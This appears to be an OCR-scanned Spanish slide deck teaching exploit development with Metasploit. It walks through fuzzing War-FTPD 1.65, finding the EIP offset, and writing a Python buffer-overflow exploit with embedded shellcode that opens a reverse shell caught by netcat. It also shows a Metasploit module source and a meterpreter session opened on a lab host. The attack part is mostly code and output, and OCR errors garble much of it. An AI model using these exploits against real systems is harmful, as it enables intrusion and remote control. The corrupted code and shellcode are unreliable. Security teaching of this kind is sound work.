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El MEUdSPLOIL Framework, es una

herramienta para desarrollar y ejecutar exploits
contra una maquina remota. Fue creado
utiizando el lenguaje de programacion de
scripting Perl, aunque actualmente el
Metasploit Framework ha sido escrito de nuevo
completamente en el lenguaje Ruby.




El MEGASPLOIG Framework, tiene varios

componentes y utilidades entre las cuales
destacan:

* Msfcli (Cliente de Metasploit)

» Msfconsole (Consola de Metasploit)

* Msfweb (Servidor e Interfaz web de Metasploit)

» Msfgui (Interfaz grafica de Metasploit)

* Msfopcode (Cliente de |la base de datos
de OPCODES d@eopMcetasploit)




Continuacion de lista de  utilidades de
MEGASPLOIL Framework:

 Mspayload (Generador de PAYLOADS de
Metasploit)

» Pattern create (Genera una cadena con cierto
patron, utilizada para encontrar las direcciones
offset)

e Pattern_offset (Calcula el offset de una cadena
especmca)




HLTASRAN

Demo: Uso Basico de MBGASPLOIG
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PUES NORMAL QUE TE HACKEEN
CHAVAL. §1 TIENES LOS PASS
EN TEXTO PLANO ¥
ACCESIBLE PUBLICAMENTE

OYE. ¢PERO QUE SON ESOS
CRITOS?

IiARGGCA!! jiME HAN
HACKEADO EL BLOG!!

IME HAaN HACKEADO!

COMO QUE TE HAN
HACKEADO?

$ QUE ES OPEN-SOURCE,
KO ES MAS SEQURO POR
OCULTARLO TODO, ¢SARES?

{ES IMPOSIELE, LO

DERD £SO ES EL 0ODICO
MO LOS PASSWORD..
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Mientras que para algunos un “cuelgue” del
sistema es solo eso, para otros es un fallo de
seguridad que podrian aprovechar.

En la actualidad se ha hecho muy extendido el
uso de fuzzers para descubrir vulnerabilidades.

Se pueden descubrir fallos de seguridad
mediante la revision de codigo fuente.

Sometiendo a las aplicaciones a pruebas de
intrusion.

Muchas veces se descubren fallos de

seguridad simplerfiente utilizando el sistema.



DEMO: Descubriendo una
vulnerabilidad




Cadigo Fuente de Fuzzer Sencillo en Python

import socket
import time

import sys

buffer=["A"]

counter=2E

print{"Atacando a:" + sys.argv[1])
while len{buffer) == 166

buffer.append("A"*counter)
counter=counter+10E

for string inm buffer:
print "Fuzzing USER:" + sz'clcrcstringlﬂ
s=socket.socket({socket.AF INET, socket.S0CK STREAM)
connect=s.connect({ (sys.argv[l].21))
data=s.recv({1l024)

s.send{"USER ' + string + "\rm')
data=s.recv({1l024)

s.send('PASS ftphrin')
data=s.recv({1l024)

s.send( "QUIT\rn")

s.close()
time.sleep(l)

Ejecucion del script

[ NN ) root@usuario-desktop: ~ r

Archivoe Editar Ver Terminal Ayuda
root@usuario-desktop:~& python fuzzer.py 172.26.0.45
Atacando a:172.26.0.45
Fuzzing USER:1
Fuzzing USER:20
Fuzzing USER:128
Fuzzing USER:228
Fuzzing USER:320

Fuzzing USER:428
Fuzzing USER:520
Fuzzing USER:628

Como resultado de la ejecucion del script podemos observar una excepcion
en ollydbg, es importante notar los registros ESP y EIP, donde EIP tiene el
valor 41414141 el cual esta representado en hexadecimal, en ASCII seria
“AAAA” (que hemos enviado en nuestra peticion), de igual modo el registro
ESP tiene valor AAA....... A

OllyDbg - war-ftpd.exe - [CPU - thread 00000DA4] O] =]
. File Yiews Debug Plugins Options  Window  Help _____j__ﬁ_’jﬂ
Blx| win] s #u A] o1 HE_lj wiH|c|/|K[B[R|-|5] =&

RE‘EII.E":E‘I‘E [FF'I.I] —'E

= @ ER BEEE8GHEE1

BEEAFO48 ASCII "ARARARRAARRARARAARF
F BEEaFDAD
I FCEBRIZAC kernel32.GetTickCount
I BAEEBFE42

P 41414141

Hddreai |HEH dump jHS“I':“Ihf
= 15 Al L

AR AR

MWmMMMWWMWmmmMMMMM]me%WﬁﬁWHhm%mmehmmwn | ﬁmmd




¢ Qué es un Exploit?

Es un programa, sentencia o similar que aprovecha
una vulnerabilidad para comprometer la
confidencialidad, integridad y/o disponibilidad

Hola. Llamo desde | Por Dios, tha roto ¢{Realmente usted Bueno, hemos perdido
el Colegio de su hijo. | algo? llama a su hijo 0§ registros de |0s
Estamos teniendo | Robert); DROP estudiantes de este afio.
un proplema En Cierto modo - j,) TABLE Students;-? | | ESpero este satisfecha.

N

informatico.

Y YO espero que
0™ Oh, i, ~..usted haya

, , aprenhdido a
Robertito sanear [as
Tables |e enhtradas de su

llamamos. base de datos

Fuente: http: iixked.com/{327/




. Qué es Buffer Overflow?

DE UN / APUNTA, PUNTERO P/ ESTHA APUNTANDO

La vibAa \ ..-"" -ﬂ ..’l'l > 'E} ND E . .-':'[:l' H Nﬂ ! J FHH V
PUNTEROC = | /MALDITA SEA! JESTA A UNA ZONA YA

, NO ES NADA SN sepunTanDO & UNA . LIBERADA..

FACIL .. VIVIMOS ot \ JODIDA ZONA NO

' EN CONSTANTE :
S , . RESERVADA DE

qauu'm5 MaL '
. ESTAS ACABADO, \*—-—

SEGMENTATION




Segun Wikipedia, un desbordamiento de buffer es un
error de software que se produce cuando se copia una
cantidad de datos sobre un area que no es lo
suficientemente grande para contenerlos,
sobrescribiendo de esta manera otras zonas de
memoria.

Un desbordamiento de buffer ocurre cuando los datos
gue se escriben en un buffer corrompen aquellos datos
en direcciones de memoria adyacentes a los destinados
para el buffer, debido a una falta de validacion de los
datos de entrada. Esto se da comunmente al

copiar cadenas de caracteres de un buffer a otro.




., Como crear un exploit?

A continuacion crearemos un exploit para una
vulnerabilidad de buffer overflow.




Registros del CPU
 EBP (extended base pointer)

» ESI (extended source index)
* EDI (extended destination index)
 ESP (extended stack pointer)

* EIP (enhanced instruction pointer) Apunta a la
siguiente instruccion a se ejecutada.




 Para examinar los registros y la ejecucion del
programa vulnerable usaremos ollydbg (puede
usar algun otro debugger)

 Debemos encontrar la forma de escribir €l
registro EIP, para encontrar el offset vamos a
hacer uso de pattern_create.rb y
pattern offset.rb de Metaspiloit.
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DEMO: Controlando los Registros




Creando un patrén de caracteres con pattern_create de Metasploit, para
ubicar las direcciones (desplazamientos) de los registros del CPU.

oMo

Editar \er

rooti@gusuario-deskiop: /pentes etasploit/tools® ruby pattern create.rb 300
AzBAzlAa2Aa3AadAabAabAaTA2BAR0ADEAD 1AL ZADIADLARSADBAR TARBARSACBAC TAC 2ACIACAACSAL
BACTACBACSAdEAd LA Ad3ADIADSADRAD TAdBAdSAE0AE 1A 2Ae3AcdAcSAChACTACBACDATOATLATZA
TIATATSATRATTATBATOADBADLAg2Ag3AgdAgSAgbAg TAGEA 1AhZAh3Ah4ARSARBARTARBARD
A10AITIAI2AIIATAAISAIRAITAIBAISA]BA] LA 2A] 3AT4A] SATBA] TA] BA] SAKDAK LAKZAKIAKIAKSAK
BAKTAKBAKSATBALLALZATIALAALSALGALTALBALSAMEAM 1AM 2 Am3AmAAmSAMGAm T AmBAMSANDAN LANZA
n3AndAnSARBARTARBANSACEBAD L ADZADIADdADCADEBADT ADBADDADBAD LAR2ApIAPAARSADBARTARBADD
Agl lAqL-'.q1.'4.qmq%q"ﬁqbﬁqmqﬁﬂ.q'—iﬁrI IArL-'.rL’J.r_.Ar-lAr':ArbArTArBAr'*A |'H_.L!'|_.L'J|_.3H 4As5A5

Archivo Terminal

Ayuda

root@usuario-desktop: fpentesﬂmetasploitft-@l 5 F—

Revisamos los valores de los registros ESP y EIP en OllyDbg, para luego
ingresarlos en pattern_offset y calcular el desplazamiento.

OllyDbg - war-ftpd.exe - [CPU - thi _]I:Ii___j
. FI|E Wieww Debug Plugins  Options '-.-'-.-'lnu:lnw Help _iﬁli__j

| @] 4 ] :lu T LIH_IJEIELIf

Regliteri [FPL
= f EAX BBEE0EE]L
M ECX BB0606E1
EDy B888886E6
EEX BEEEEBEE
ESF bEEEFD42 ASCII "g4HgSAgS&HgQPAgQERgYAr8AHC 1 Ar2AT3H
EEF EEEBEFDAE ASCII "2At4ALSAtEAt FALSALSAWERAY 1AW Z AL
ESI YCE8E92AC kernel3z2.GetTickCount
EDI GEEEFE42 ASCII "9FzBAz1Az2Az 3Az4Az5Az5Az PRz 2R

EIF 32714131
I

C 8 ES 8823 22bit @
F &8 CS B8lE 32bit @
S5 @823 32bit S

7

{ FFFFFFFF)
{ FFFFFFFF]
{ FFFFFFFF)
{FFEFPRFF)

R-E
£ 8 DS BE23 32hbit
5 A FOOBEELFFF)

FS G838 27hit
| RSCIT

{Address |Hen dump

=B
1

| Access vilation when exscuting [32714131] - use ShitsF7/F8/F3tap.  |Paused

Enviamos el patrén de caracteres generado al servidor a través de nuestro
buffer.

import socket

import sys

plll‘lt" Dos a:

20y 3AydAySAyGAY] : BA:
5= ..l:-chet socket(s l:-l:het AF INI:—F, ..l:-chet SDEK STREENJ
connect=s.connect{{sys.argv[1l].21))
data=s.recv(1024)

s.send({'USER ' + buffer + I }
datagk. recv(1024)
s.close()

Calculamos el desplazamiento con pattern_offset de Metasploit utilizando los
datos proporcionados en OllyDbg.

Podemos observar que a partir del caracter nro 485 se inicia la escritura en el
registro EIP, y que a patir del caracter 493 se inicia la escritura en el registro ESP.
Entonces nuestro buffer sera: A*485 + EIP (son 4 bytes) + 4 bytes + ESP (aca va el
payload)

&M, root@usuario-desktop: /pentest/metasploit/tools r v

Archivo Editar Ver Terminal Ayuda

root@usuario-desktop: fpentest/metasploit/tools¥ ruby pattern offset.rb gdAg
453
rootigusuario-desktop: /fpentest/metasploit/tools# ruby pattern offset.rb 32

714131

suaric-desktop:/pentest/metasploit/tools#
tausuario-desktop: fpentest/metasploit/tools# |:|




« Utilizaremos un PAYLOAD de Metasploit,
debemos tener en cuenta los
badchars(caracteres no permitidos) y el
espacio disponible para el Exploit.

Buscaremos la forma de indicar en el EIP que
ejecute nuestro PAYLOAD (que se encuentra
en ESP), para esto asignamos a EIP una
direccion de memoria que apunte a una
instruccion JMP ESP, esto lo podemos ubicar
en la base de datos de OPCODES de
Metasploit, buscando con OllyDbg o con
findjmpZ2.exe




» Utilizaremos NOPs(No Operation Command),
para indicar al CPU que continue con la
secuencia de ejecucion.

* Para este sencillo ejemplo utilizaremos Python
como lenguaje de programacion.
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DEMO: Creando un Exploit Sencillo




amnm Metasploit Framework Web Console 3.3-beta - Mozilla Firefox anm Metasploit Framework Web Console 3.3-beta - Mozilla Firefox

Archive Editar Mer Historial Marcadores Heramientas Ayuda

Archive Editar Mer Historial Marcadores Herramientas Ayuda

.1:55555/

, Awdiaries @ Payloads = ]

L, Auxiliaries = 5 i | 5 ns g Options

Available Payloads (0)

Windows Command Shell, Reverse TCP (via Ruby) &

Windows Command Shell, Reverse TCP Inline (2) o] _|

Windows Command Shell, Reverse TCP Inline

Connect back and create a command shell via Ruby

Y Connect back to attacker and spawn a command shell

Windows Command Shell, Reverse TCP Inlige &

§ This module (v7075) was provided by vlad902 and sf, under the Metasploit Framework License
Connect back to attacker and spawn a command shell (BSD).

Windows Command Shell, Reverse TCP Stager &

Connect back to the attacker, Spawn a piped command shell e
( : indows

Windows Command Shell, Reverse TCP Stager (IPv6) & OPTIONS

Connect back to the attacker over IPv6, Spawn a piped command shell The local address (type: addre

EXITFUNC

. T 3

Windows Command Shell, Reverse TCP Stager (No NX or Win7) & Exit technique: seh, thread, pr

Connect back to the attacker (No NX), Spawn a piped command shell LPORT

The local port (type: port)

Max Si

_ﬂ (ol e Metasploit Framework Web Console 3.3-beta - Mozilla Firefox

Archive Editar Mer Historial Marcadores Herram Ayuda

4 Auxiliaries

Windows Command Shell, Reverse TCP Inling (2) =E-
Windows Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell

This module (v7075) was provided by viad902 and sf, under the Metasploit Framework License

L

Windows
PAYLOAD CODE (BACK) -




Podemos utilizar la aplicaciéon Findjmp2.exe para ubicar las direcciones de memoria que
contienen una llamada al registro ESP (en nuestro caso) para escribirlas en el registro EIP.

WINDOWS' system32' cmd.exe
Con la direccion encontrada, vamos a crear nuestro buffer, de modo tal

que el registro EIP se escriba 7C82385D y en el registro ESP se escriba C:\OPCODES_LIST>Findjmp2.exe KERMEL32.DLL esp

nuestro payload, los espacios intermedios seran llenados con NOPs (0x90) Findjmp. Eeye. 125-LaB

: + sock Findjmp2. Hat—Sguad

import socket Scanning HERNEL32 DLL fnl' code uszeahle with the ezp register

import struct B@x7C82385D call e

import sys Finizhed Scanning }{ERNEL32 DLL for code useable with the esp register
. _ - _ I s L - _ . - . Found 1 usahle addresses

shellcode =(""xd%\xc2'\ xbb' xeb\xclhxbah 3P d P72 Fdh w29 ko9 k53 xbl

LIRVGE 2 xbd 1% x5 15 Sat 15 B 35N 96N xd T ed 1 C:“OPCODES_LIST>
DB\ BT 2B I 13 et B2 k1% kb 3N 2 wohh kBB kb3 x2et\ xBa'\ xal
B xb2 320 0d o abt B 7 4y chhxll
da et lb\ wach Ko Bet adh B3 1o xBEh x 1
(33 B (2 el B8 ki a2 xt H Fihxd 54 xc2
2t 5 O B T oed 3N e T @5, 38 B 52N x5 3N Kac
z e Fdy F Bl xTeY k51 Thh xad ke, x0d
4 T Ey 13 e Ty ed et xl Co\ B2 L et odd xl
450 2 B2 3 ed B2 P 1o 13 e Zahxha’ x3bhxad
THBdxdh T 2dh 7 g 1 xOdh xeahxT
Toods 19 Tl xbd k754 xdd d T8 2hoed B 34N xbd
4 2hord 2 P xBEN 2 Ch 2 X B8 5 b T e B
1% xeb kb8 kB xed 93 k53 xd b Lo ka2 (3% kb3
2 SN BT B A ed B T 28N el T L I AN
A bd Ty B et 2 T5N 2 14 %19 A 1 eI sed P T Ty BB 76
b 2B T AN x8b BB xl 18 el
251N xdd 5 ca B33 b g B xcbat, xd 3
0 5% B9, 15 G5 xa s BT 25N LN KT g 35
b x5 0 b1t xd 1 2 e T el 1% 954 xl
BE TP wB P uecd B I e ol xebh kBT 1ak kb9 xB 197
b G 1 P\ oo By cah ka2 b3 xesh xde )
s=socket. fucketffncket AF IHET socket.S0CK STREAM) h

ret = struct.pack{"=L", B@x7CE2385D)

buffer="'x41' * 485 + ret + 90" * 4 + shellcode
print{"\nExploit to + sys.argv[l] + "..."])
.connect{{sys.argv[1l].21))

Lrecv{1824)

csend( "USER ' + buffer + '“rin')

.close()

(R

oo



Ponemos en escucha el puerto 4444 en el equipo del atacante.

[ Ralé) root@usuario-desktop: ~

Archive Editar  Ver Terminal Ayuda k

rootgusuario-desktop:~F nc -w -1p 4444
listening on [any] 4444 ...

Obtenemos una shell de la victima.
amnm root@usuario-desktop: ~

Archivo Editar Mer Terminal Ayuda

root@usuario-desktop:~& nc -wvv -1p 4444

listening on [any] 4444 ...

172.26.0.45: inverse host loockup failed: Unknown host
connect to [172.26.0.36] from (UMKNOWN) [172.26.8.45] 1829
Microsoft Windows ¥P [Versifin 5.1.26086]

{C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\OptimusPrimeM\Escritoric\warftpd=ver
ver

Microsoft Windows XP [Versifin 5.1.2600]

C:\Documents and Settings\OptimusPrime\Esc ritnrio\warftpd:ﬂ

Ejecutamos el exploit

;M. root@usuario-desktop: ~ A

Archivo Editar Ver Terminal Ayuda
root@usuario-desktop:~# python exploit.py 172.26.08.45

Exploit to 172.26.8.45...
root@usuario-desktop:~& |:|

Asi se ve la aplicacion en la victima luego de ejecutar el exploit, pueden fijarse
en la parte del log donde se envia un string bastante largo lleno de “A”.

EE OMLIME




Estructura basica de un exploit de Metasploit:

Comentario
Dependencia
Definicion de la clase
Inclusiones

meétodo constructor

— Nombre del exploit
— Descripcion del exploit
- Mas datos sobre el exploit

© Open-Sec




» |nformacion para generar el Payload

- Espacio disponible
— (Caracteres no validos
 Plataforma

* Objetivos
* Metodo Exploit

© Open-Sec
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require 'msf/core
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Ftp
def initialize({info = {})
super{update info({info,
Name == "War-FTPD 1.65 Username Overflow',
Description == %0{
This module exploits a buffer overflow found in the USER command
of War-FTPD 1.65.

L
Author == 'Fairuzan Roslan <riaf [at] mysec.org=',
License == B5D_LICENSE,
Version == "§Revision: 7030 %',
References ==
[
[ "CVE', '1999-8256"],
[ 'OSVDB', 'B75 l.
[ 'BID', '18678 1.
] . L4 [ I1IL " :‘S ' s Il ]' s s r ¥ r ¥ 7
*En el método exploit, primero establecemos conexion ] [ "URL'. 'http://lists.insecure.org/Lists/bugtran/1998/Feb/0014.htnl" ],
con Ia ViCtima. [:'E:&l.'_t?ptit-l's ==
EXITFUNC' == 'process
sLuego creamos un buffer y llenamos los 485 primeros Payload -
bytes con caracteres alfanuméricos { Space’ = 424,
(rand_text_alphanumeric(485)). Stackadjuscment = 3500,
Platf b i
Latform == "Win ,
*Luego anadimos la direccion ret (EIP) al buffer et -
([target.ret].pack('V")). * Target o
Windows 2000 5PB-5P4 English’,
A continuacion agregamos 4 NOPs (make_nops(4)). ! Ret = Bx750231e2 # ws2help.dll
I8
1.
*Finalizamos nuestro buffer agregando el payload £ eree
seleccionado (payload.encoded). [ Y SPO-SPL Enaist
Ret == @x71labld54 # push esp, ret
. . 1
*Ejecutamos el manejador (hadler) 1.
# Target 2
[
*Y finalmente desconectamos. [ ows K SRS SpAmEh
Ret == Ox7c95leed # jmp esp
1
Es importante senalar que en Targets nosotros :
podemos agregar otros objetivos que no se encuentren o 1
actualmente listados, por ejemplo Windows 2003, def exploit
Windows XP SP3 Spanish, etc, para esto debemos Erﬂt stat:ﬂ'Tr'.f'i{ghterl;et;ﬁ{i;rﬁet.rﬂe}...'1
. . u = rand text a anumeric (485
buscar las direcciones de retorno ya sea con un buff << [target.ret].pack( V")
y
debugger, con findjmp2, con metasploit o en alguna uff << payioed.enoded N
base de datos de opcodes. S DuE(TUsER T x buTh = )
disconnect
end

end



- Nalé) root@usuario-desktop: /pentest/metasploit

Archive Editar “er Terminal Ayuda
|1 o
TR ) B
LA A VA A I I U AU P A B |
| I O A AN ARV A I AN A I
/1
il
=[ msf v3.3-beta [core:3.3 api:l.e]
+ -- --=[ 433 exploits - 262 payloads
+ -- --=[ 21 encoders - B nops

=[ 289 aux

msT = use exploit/windows/Ttp/warftpd 165 user
msT exploit({warftpd 165 user) = show targets

Exploit targets:

Id HName

Windows 2008 SPB-5P4 English
Windows XP SPB-5P1 English
Windows XP SP2 English
wWindows XP SP3 English
Windows XP 5P2 Spanish

faLd R =@

msT exploit{warftpd 165 user) = set target 4

target = 4

msT exploit{warftpd 165 user) = set payload windows/meterpreter/reverse tcp
payload == windows/meterpreter/reverse tcp

msT exploit{warftpd 165 user) = set LHOST 172.26.8.36

LHOST == 172.26.08.36

msT exploit{warftpd 165 user) = set RHOST 172.26.0.45

RHOST == 172.26.08.45

msT exploit{warftpd 165 user) = exploit

[*] Connecting to FTP server 172.26.08.45:21...

[*] Started reverse handler

[*] Connected to target FTP server.

[*] Trying target Windows XP 5P2 Spanish...

[*] Sending stage (719368 bytes)

[*] Meterpreter session 1 opened (172.26.0.36:4444 = 172.26.0.45:1029)

meterpreter = getuid
Server username: TELETRONWOptimusPrime







